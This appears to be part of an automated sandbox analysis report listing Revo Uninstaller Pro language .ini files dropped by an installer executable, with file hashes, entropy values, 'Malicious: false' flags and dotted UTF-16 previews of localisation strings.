Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .F.r.a.n...a.i.s./.F.r.e.n.c.h.....W.e.b.L.a.n.g.=.F.R.A.....T.r.a.n.s.l.a.t.o.r.=...m.i.l.e. .M.o.r.v.a.n.t.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .A.f.f.i.c.h.a.g.e.....1.0.3. .=. .O.p.t.i.o.n.s.....1.0.4. .=. .D...s.i.n.s.t.a.l.l.e.u.r.....1.0.5. .=. .A.u.t.r.e.s. .o.u.t.i.l.s.....1.0.6. .=. .M.o.d.e. .t.r.a.q.u.e.u.r.....1.0.7. .=. .L.i.s.t.e.....1.0.8. .=. .I.c...n.e.s.....1.0.9. .=. .D...t.a.i.l.l... .....1.1.0. .=. .D...s.i.n.s.t.a.l.l.e.r.....1.1.1. .=. .S.u.p.p.r.i.m.e.r. .l.'.e.n.t.r...e.....1.1.2. .=. .R.a.f.r.a...c.h.i.r.....1.1.3. .=. .V.o.u.l.e.z.-.v.o.u.s. .v.r.a.i.m.e.n.t. .s.u.p.p.r.i.m.e.r. .l.'.e.n.t.r...e. .s...l.e.c.t.i.o.n.n...e. .?.....1.1.4. .=. .V.o.u.l.e.z.-.v.o.u.s. .v.r.a.i.m.e.n.t. .d...s.i.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\german.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (551), with CRLF line terminators
Category:	dropped
Size (bytes):	150688
Entropy (8bit):	3.487331298408884
Encrypted:	false
SSDEEP:	3072:NzGb5p5B0vDcOQywq61+EgpHuOmZ1of41S7aDB5ag+Jkb3bQkzMjPjXg8iM3qQoU:yT0
MD5:	C333FD6BEDC812B8492B9068E3DFA7B5
SHA1:	322DDA605843896F8EA76997EC6274E44BF2C9F5
SHA-256:	6443FDA6F0A0FB4F99329962A1B09CAF3BF8568C74FC9D6EEBA1302A0C29300E
SHA-512:	7159FF7743DA3B3B62098FC2370E4AFD26980214EBD34C76F515BA553632DD5025B78C3389E53D064710C64A1B1BB2987055EFBC8C8256F10478F22BC375A15E
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.D.e.u.t.s.c.h./.G.e.r.m.a.n.....W.e.b.L.a.n.g.=.G.E.R.....T.r.a.n.s.l.a.t.o.r.=.D.i.r.k. .P.a.u.l.s.e.n. ." .A.n.d.y. .K.l.e.i.n.e.r.t.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .A.n.s.i.c.h.t.....1.0.3. .=. .E.i.n.s.t.e.l.l.u.n.g.e.n. .(.A.l.t. ..' .O.).....1.0.4. .=. .D.e.i.n.s.t.a.l.l.i.e.r.e.n.....1.0.5. .=. .E.x.t.r.a.s.....1.0.6. .=. .J.a.g.d.m.o.d.u.s.....1.0.7. .=. .L.i.s.t.e.n.a.n.s.i.c.h.t.....1.0.8. .=. .S.y.m.b.o.l.a.n.s.i.c.h.t.....1.0.9. .=. .D.e.t.a.i.l.a.n.s.i.c.h.t.....1.1.0. .=. .D.e.i.n.s.t.a.l.l.i.e.r.e.n.....1.1.1. .=. .E.l.e.m.e.n.t. .l...s.c.h.e.n.....1.1.2. .=. .A.k.t.u.a.l.i.s.i.e.r.e.n. .(.S.t.r.g. ..' .R.).....1.1.3. .=. .M...c.h.t.e.n. .S.i.e. .d.a.s. .a.u.s.g.e.w...h.l.t.e. .E.l.e.m.e.n.t.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\gujarati.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (763), with CRLF line terminators
Category:	dropped
Size (bytes):	131466
Entropy (8bit):	4.065690087759101
Encrypted:	false
SSDEEP:	3072:rUVdwiSTdrABIXzfGCR3ZIaqF9/Yfzbu/TysGGaqZQ/NOjYF1aCiLGH:rUVdwiSTdrABIXzfGCR3ZIaqn/YfzbuC
MD5:	9A0D1063F791A4803AFB207E145FB7F5
SHA1:	4684E675834CB94ABD0A5AA4C7DEFABCF5B8CB9A
SHA-256:	0561BBFFC5347477DE4F28FB6C76F0DFEE254656125201DE0268392FBCE24368
SHA-512:	D662103D2716357942AD16C1386CA44D9E3BFEB289A6A4E2B8B586E851C29395A623BDE0AC35F090D04B7FE12632D68D427E2D6038CFE4D78DC321A09476E31E
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .............../.G.u.j.a.r.a.t.i.....W.e.b.L.a.n.g.=.G.U.J.....T.r.a.n.s.l.a.t.o.r.=.K.u.m.a.r.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...........1.0.3. .=. ...................1.0.4. .=. ...........................1.0.5. .=. ...............1.0.6. .=. ............. ...........1.0.7. .=. .............1.0.8. .=. ...................1.0.9. .=. ...............1.1.0. .=. ..................... ...........1.1.1. .=. ............... ....... ...........1.1.2. .=. ............... ...........1.1.3. .=. ....... ....... ........... ......... ........... ................... ....... ......... ........... .....?.....1.1.4. .=. ....... ....... ........... ......... ........... ....................... ..................... .........

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hebrew.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (400), with CRLF line terminators
Category:	dropped
Size (bytes):	93828
Entropy (8bit):	4.066173134482651
Encrypted:	false
SSDEEP:	1536:H3oaEv+m7B5TZ5PNQzeoh2TwMRwBCDwUnMM8yArA4ad:Xoacmzhh2TwMRwADwUnn80d
MD5:	06007D50FFCC9ADCEFF96CF4439D033A
SHA1:	9C36E3C895694F30D1632B1EC0D571F5D8A2F2F9
SHA-256:	4C301B86818CA1D9134A8E416D347FF50EFF071E8377F69EB838FB42FF0ABAB3
SHA-512:	68B40EA6FE2FF9527D62E03B9A88583B2E4AE38F8FDC4016071CB47ED7CE2DB87411BD114566E840B946600123CC251C12C0C023528DBBAEFE4DFF26443860A6
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.........../.H.e.b.r.e.w.....W.e.b.L.a.n.g.=.H.E.B.....T.r.a.n.s.l.a.t.o.r.=.Y.a.r.o.n...S. .-. .Y.a.r.o.n.'.S. .T.e.a.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.4...2...3.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...............1.0.3. .=. .....................1.0.4. .=. ......... ...................1.0.5. .=. .............1.0.6. .=. ."....... .".............1.0.7. .=. ...............1.0.8. .=. .....................1.0.9. .=. ...............1.1.0. .=. ...........1.1.1. .=. ....... ...........1.1.2. .=. .............1.1.3. .=.?. ....... ...../... ........./... ............... ........... ..... ......... ...............1.1.4. .=.?. ....... ...../... ........./... ............... ........... ..... ............. .................1.1.5. .=........... ...................1.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hellenic.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (789), with CRLF line terminators
Category:	dropped
Size (bytes):	137504
Entropy (8bit):	4.127665630312148
Encrypted:	false
SSDEEP:	3072:nH5z/5zzxtz9IraMTSvkNgcM1o2VTHbv5frC:H5XcmC
MD5:	323B3488D5BF1B952B83DC562E0A3FA2
SHA1:	8DB1AE77803019DB4503B878537C77DCA46391A4
SHA-256:	B798D3535F10CCCA8507D9FA0BB891470A8D8D5364013EAAF05D0224BC2247E8
SHA-512:	A66EDA53342213C7D475A0569B52CA8DF8C67949C75D6EA1CAA63420D5A1DBE4BBD2818F782257356DA474E2DF558AF8DE37BA9B2614EA831910855631ABB3CE
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=................./.G.r.e.e.k.(.H.e.l.l.e.n.i.c.).....W.e.b.L.a.n.g.=.G.R.....T.r.a.n.s.l.a.t.o.r.=.V.S. .R.e.v.o. .G.r.o.u.p.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.4...1...0.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...................1.0.3. .=. .....................1.0.4. .=. .................................1.0.5. .=. .....................1.0.6. .=. ..................... .........................1.0.7. .=. .......................1.0.8. .=. .......................1.0.9. .=. .............................1.1.0. .=. ...............................1.1.1. .=. ................. ...........................1.1.2. .=. .....................1.1.3. .=. ........... ............... ....... ............. ..... ..................... ....... ..................... .................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hindi.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	130882
Entropy (8bit):	4.087011727696048
Encrypted:	false
SSDEEP:	3072:UY/rr+qMUWBBZ/a/kHLM6/CgK8czSTMy/7:F/P+DUWx/06czSd/7
MD5:	271D39E6FF688E684A970F677FFA00B9
SHA1:	5A2415E31E5A7E4A5781603FF844406D48AE646A
SHA-256:	0B1BF07D976B9E20E2C97EE9D0C959842F885619F0282A5CAEBB882DF0075D47
SHA-512:	237D8C27172694F43678C79F211F11769C770E6FDE1FF9F239692B9F93FD78AF53F8D65109CCFBB111C32DA598DA67B94C78962D1A2C0A647F20B45459DAA46A
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.9.?.(.M.&.@./.H.i.n.d.i.....W.e.b.L.a.n.g.=.H.I.N.....T.r.a.n.s.l.a.t.o.r.=.J...K.i.s.h.o.r.e. .R.e.d.d.y.,. .a.s.h.i.s.h. .s.h.a.r.m.a.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].........1.0.2. .=. .&.G...G.......1.0.3. .=. .5.?...2.M......1.0.4. .=. ...(.....8.M...>.2.0.....1.0.5. .=. ......0.#.....1.0.6. .=. .9.....0. ...K.!.....1.0.7. .=. .8.B...@.....1.0.8. .=. ..M.0.$.@.......1.0.9. .=. .5.?.5.0.#.....1.1.0. .=. .8.M.%.>..(.>. .0.&.M.&. ...0.G.......1.1.1. .=. ..M.0.5.?.7.M...?. ...K. .9...>.(.G.....1.1.2. .=. .$.>...<.>. ...0.G.....1.1.3. .=. ...M./.>. .... .../.(.?.$. ..M.0.5.?.7.M...?. ...K. .9...>.(.>. ...>.9.$.G. .9.H...?.....1.1.4. .=. ...M./.>. .... .../.(.?.$. ..M.0.K...M.0.>... ...@. .8.M.%.>..(.>. .0.&.M.&.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hrvatski.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (600), with CRLF line terminators
Category:	dropped
Size (bytes):	93810
Entropy (8bit):	3.5478965253929156
Encrypted:	false
SSDEEP:	768:loeLuV/aGAVazqJfWUEOINf9Fp2EitEEdQnv6cEeSvi2dIn1VponVP3rMDv:wVcXJfWUCFFpcxEv9Wvi2WDpua
MD5:	7D31DBE80F1759C28FFA258946FEC92F
SHA1:	A010F11A8C3A495F126F4C9FDB7317ABB1986A17
SHA-256:	9F69A409CADA6A835370E3A457EE83470F895B60755EE0807F27276C5738FD35
SHA-512:	542D1D5CBAA93BF9368B653D9D56E69860EAA698C33293223BFBFD474EECA7E1482D7E795DFBFB407D670913F87DB3E0A87351970CC0A0DB76DAB43CAC1199B9
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.H.r.v.a.t.s.k.i./.C.r.o.a.t.i.a.n. .....W.e.b.L.a.n.g.=.H.R.....T.r.a.n.s.l.a.t.o.r.=.H.a.s.a.n. .O.s.m.a.n.a.g.i.......C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.3...1...8.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .I.z.g.l.e.d.....1.0.3. .=. .P.o.s.t.a.v.k.e.....1.0.4. .=. .D.e.i.n.s.t.a.l.e.r.....1.0.5. .=. .A.l.a.t.i.....1.0.6. .=. .P.r.e.s.r.e.t.a.n.j.e.....1.0.7. .=. .P.o.p.i.s.....1.0.8. .=. .I.k.o.n.e.....1.0.9. .=. .D.e.t.a.l.j.i.....1.1.0. .=. .D.e.i.n.s.t.a.l.i.r.a.j.....1.1.1. .=. .U.k.l.o.n.i. .u.n.o.s.....1.1.2. .=. .O.s.v.j.e.~.i.....1.1.3. .=. .U.k.l.o.n.i.t.i. .o.z.n.a...e.n.i. .u.n.o.s.?.....1.1.4. .=. .D.e.i.n.s.t.a.l.i.r.a.t.i. .o.z.n.a...e.n.i. .p.r.o.g.r.a.m.?.....1.1.5. .=. .D.o.g.r.a.d.n.j.a.....1.1.6. .=. .P.o.m.o.......1.1.7. .=. .U.p.u.t.e...........

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hungarian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (675), with CRLF line terminators
Category:	dropped
Size (bytes):	134684
Entropy (8bit):	3.6263066482370334
Encrypted:	false
SSDEEP:	3072:WuphjkIdd/DdEIK0maAmDwQPVC0fwodhjAMX+907+AjwVm+MV8iW8HjJkSADPUFj:huPUTmK
MD5:	9D502EA4D293E8CDD722B1CC120ACE31
SHA1:	004732BAADE360FB190885B26C8D0F477B89935D
SHA-256:	D362840E3245B77979D529C10C755E21AF193F0406BD850D813673E17D888A26
SHA-512:	29261C915860319189B31C72C581B33C1F4967C2D77B924A8FCD530930E8B2C418030FC55993A188E5EC956D75D3F91BE89F4E25C31FC4A9DA005FC6B6F134D7
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.M.a.g.y.a.r./.H.u.n.g.a.r.i.a.n.....W.e.b.L.a.n.g.=.H.U.N.....T.r.a.n.s.l.a.t.o.r.=.D...b.r...n.t.e.i. .S...n.d.o.r. .-. .s.a.n.d.o.r...d.o.b.r.o.n.t.e.i.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .N...z.e.t.....1.0.3. .=. .B.e...l.l...t...s.o.k.....1.0.4. .=. .E.l.t...v.o.l...t.......1.0.5. .=. .E.s.z.k...z...k.....1.0.6. .=. .K.e.r.e.s.Q. .m...d.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.k.o.n.o.k.....1.0.9. .=. .R...s.z.l.e.t.e.k.....1.1.0. .=. .E.l.t...v.o.l...t...s.....1.1.1. .=. .B.e.j.e.g.y.z...s. .t...r.l...s.e.....1.1.2. .=. .F.r.i.s.s...t...s.....1.1.3. .=. .B.i.z.t.o.s. .b.e.n.n.e.,. .h.o.g.y. .t...r.l.i. .a. .k.i.j.e.l...l.t. .b.e.j.e.g.y.z...s.t.?.....1.1.4. .=. .B.i.z.t.o.s. .b.e.n.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\indonesian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (717), with CRLF line terminators
Category:	dropped
Size (bytes):	127392
Entropy (8bit):	3.4614005609864864
Encrypted:	false
SSDEEP:	768:locWzmYvaewluEO21T4oOdCWKWdOvHLu1ab9YVU/yfIyN07kr5VRQ2BNi4ZVRENz:Yulu0hCdOvHqb95cB3k5k
MD5:	59F2A36A20215347BEB58ACB7CEABA53
SHA1:	40C01D8893E698F802095D8ED5CD6CC05A4B7A0B
SHA-256:	30388CC2C429EFB94253B926C64BE4D167C2F362DB09300AC4554520DF419C56
SHA-512:	DF87473B891803D14592C53E2EC5878DCD0391B51991D712BAE4F9E0B5F5C2819B510009448F8B516AE926BDF551B43DFD8F524B549D6476E5608F6C919E83A2
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.B.a.h.a.s.a. .I.n.d.o.n.e.s.i.a./.I.n.d.o.n.e.s.i.a.n.....W.e.b.L.a.n.g.=.I.N.D.....T.r.a.n.s.l.a.t.o.r.=.P.u.r.w.o. .A.d.i. .N.u.g.r.o.h.o.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .L.i.h.a.t.....1.0.3. .=. .P.i.l.i.h.a.n.....1.0.4. .=. .P.e.n.g.h.a.p.u.s.....1.0.5. .=. .P.e.r.a.l.a.t.a.n.....1.0.6. .=. .M.o.d.e. .P.e.m.b.u.r.u.....1.0.7. .=. .D.a.f.t.a.r.....1.0.8. .=. .I.k.o.n.....1.0.9. .=. .R.i.n.c.i.a.n.....1.1.0. .=. .H.a.p.u.s.....1.1.1. .=. .H.a.p.u.s. .C.a.t.a.t.a.n.....1.1.2. .=. .S.e.g.a.r.k.a.n.....1.1.3. .=. .A.p.a.k.a.h. .a.n.d.a. .y.a.k.i.n. .i.n.g.i.n. .m.e.n.g.h.a.p.u.s. .c.a.t.a.t.a.n. .t.e.r.p.i.l.i.h.?.....1.1.4. .=. .A.p.a.k.a.h. .a.n.d.a. .y.a.k.i.n. .i.n.g.i.n. .m.e.n.g.h.a.p.u.s. .p.r.o.g.r.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\italiano.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (662), with CRLF line terminators
Category:	dropped
Size (bytes):	142466
Entropy (8bit):	3.396814543249537
Encrypted:	false
SSDEEP:	1536:eNJzHR1iVUz5T/mHE+fs1eEDVUcdPNjVlKEhL98UAueg8fC:kJzHTX5TeHE+f+eEDVNdPhVlKwZ8dgaC
MD5:	71BAA3C894A26E3C285262E34960F6C8
SHA1:	33509E1740D10D7FD813F353BDE5BC1DB4A699B0
SHA-256:	9B287843DA49B5975FEA024EA51BD68AA8B03A9946F3CF043201D524033F77DF
SHA-512:	A7E40761892BC379CE907BA55E3AA4E9AE0DA50454DB8D2BBC89467E5F66A031B740B654362AEA2189F8DEC5AD759456890B991719886D75D74DFAB508929F1B
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.I.t.a.l.i.a.n.o./.I.t.a.l.i.a.n.....W.e.b.L.a.n.g.=.I.T.A.....T.r.a.n.s.l.a.t.o.r.=.M.a.r.i.a. .G.r.a.z.i.a. .B.a.r.b.i.e.r.i.,.M.a.s.s.i.m.o. .C.a.s.t.i.g.l.i.a.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.i.s.u.a.l.i.z.z.a.z.i.o.n.e.....1.0.3. .=. .O.p.z.i.o.n.i.....1.0.4. .=. .D.i.s.i.n.s.t.a.l.l.a.t.o.r.e.....1.0.5. .=. .S.t.r.u.m.e.n.t.i.....1.0.6. .=. .M.o.d.o. .m.i.r.i.n.o.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.c.o.n.e.....1.0.9. .=. .D.e.t.t.a.g.l.i.....1.1.0. .=. .D.i.s.i.n.s.t.a.l.l.a.....1.1.1. .=. .R.i.m.u.o.v.i. .v.o.c.e.....1.1.2. .=. .A.g.g.i.o.r.n.a.....1.1.3. .=. .S.i.c.u.r.o. .d.i. .v.o.l.e.r. .r.i.m.u.o.v.e.r.e. .l.a. .v.o.c.e. .s.e.l.e.z.i.o.n.a.t.a.?.....1.1.4. .=. .S.i.c.u.r.o. .d.i. .v.o.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\japanese.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	77404
Entropy (8bit):	5.228699203430081
Encrypted:	false
SSDEEP:	1536:84p2dHm7WVI3NNRdZKxCJNFYsWXrQ2YjnW9Xq3iQSa0qqMyeqXLRZEvAcrNcV5Gx:j2dHgWWfRdZbNF/WXrQ2YLW963iQSa0+
MD5:	040C2D8EBC17DACAF936A472088110A4
SHA1:	A8CA607E209452B7886F6E9CBEAA7253623496FE
SHA-256:	2F2DC8C8727EC6C1E4898E150A8CD962F394C37ECEF6838CE0807CE8363A9358
SHA-512:	3AD8367F4F2A52BD6B975AFDED53BDEC5A25439DADB81DFC78A67626F7250C284A6BA5AF73F489FD94734CC178D9F3217D34F4C73A9A6109636CA09BC100DB59
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=..e,g../.J.a.p.a.n.e.s.e.....W.e.b.L.a.n.g.=.J.P.N.....T.r.a.n.s.l.a.t.o.r.=.T.i.l.t.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .h.:y-..[....1.0.3. .=. ..0.0.0.0.0....1.0.4. .=. ..0.0.0.0.0.0.0.0....1.0.5. .=. ..0.0.0....1.0.6. .=. ..0.0.0.0.0.0.0....1.0.7. .=. ..N......1.0.8. .=. ..0.0.0.0....1.0.9. .=. .s.0}....1.1.0. .=. ..0.0.0.0.0.0.0.0....1.1.1. .=. ..0.0.0.0.0d..S....1.1.2. .=. ..f.e....1.1.3. .=. .x..bU0.0_0.0.0.0.0.0,gS_k0JRd.W0~0Y0K0?.....1.1.4. .=. .x..bU0.0_0.0.0.0.0.0.0,gS_k0.0.0.0.0.0.0.0.0W0~0Y0K0?.....1.1.5. .=. ..0.0.0.0.0.0....1.1.6. .=. ..0.0.0....1.1.7. .=. ..0.0.0.0.0.0..........1.1.8. .=. ..0.0.0.0.0.0..........1.1.9. .=. ..0.0.0.0.0.`1X..........1.2.0. .=. ..{.t..)jP.g0.0.0.0.0W0f0O0`0U0D0!.....1.2.1.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\korean.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (412), with CRLF line terminators
Category:	dropped
Size (bytes):	77282
Entropy (8bit):	5.344405966542523
Encrypted:	false
SSDEEP:	768:lohuLfu+X83GXjDzy48AISFuPm553g6R6JCezMzd4ytJ7r2BtEaClqc:ACfu+X83GXjPyx9Sn53g6R6JO7EMlqc
MD5:	9B08D7938D6B83218D43FA1F884D821A
SHA1:	D8B4B40502954521DDA2955C2CC0919B80CB8188
SHA-256:	88B117C0F2A37A375F86EF3C686288C954A88F4647230DE58C47D7532FFC7115
SHA-512:	4E471F55D3D65D196202415071797E855AA2A93B26D25128686D5A68BF04A9D0307D4C3B22179A3B55384918819524B1ECD46CAD9DE0C9C406529A82F41764CE
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.\.m... ./. .K.o.r.e.a.n.....W.e.b.L.a.n.g.=.K.O.R.....T.r.a.n.s.l.a.t.o.r.=.J.a.e.H.y.u.n.g. .L.e.e. ./. .k.o.l.a.n.p.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...0.....1.0.3. .=. .5.X.....1.0.4. .=. ...p.0.....1.0.5. .=. ..l.....1.0.6. .=. ...0.......1.0.7. .=. .........1.0.8. .=. .D.t.X.....1.0.9. .=. .8... .........1.1.0. .=. ...\..... ...p.....1.1.1. .=. . ... .m.. ...p.....1.1.2. .=. .... ........1.1.3. .=. ....\. . ...\. .m..D. ...p.X.......L.?.....1.1.4. .=. ....\. . ...\. ...\.....D. ...p.X.......L.?.....1.1.5. .=. ...p.t......1.1.6. .=. .........1.1.7. .=. .... ..l. ...............1.1.8. .=. .H..t.............1.1.9. .=. .... ...............1.2.0. .=. ...X.. .........

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\kurdish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (531), with CRLF line terminators
Category:	dropped
Size (bytes):	69202
Entropy (8bit):	3.580198978681514
Encrypted:	false
SSDEEP:	768:lojEDwthZmIwWc3bBtbD0ANX8If2WDafbdoV4XL26VZiIJBPbdBnXPaei7:s+hX18bBRD2
MD5:	2CE2A032457DDD8E1DC8868CC1C75A48
SHA1:	9229850C65FA487A26C9FE4DDA51C302533C195B
SHA-256:	0AF0D6E4657ED06CCD5AE0FB5E8E3BFBE0CE3950757F1AC109C1104DB051F98F
SHA-512:	3D1EBA1104A15189EDC30033D7EA011E9F2EB623941464238506F487D58CBA87A05B3CC2E8860FF5CCAB0CD637796AF49A132CBF21C7B3E2F2F6004BE6B0935C
Malicious:	false
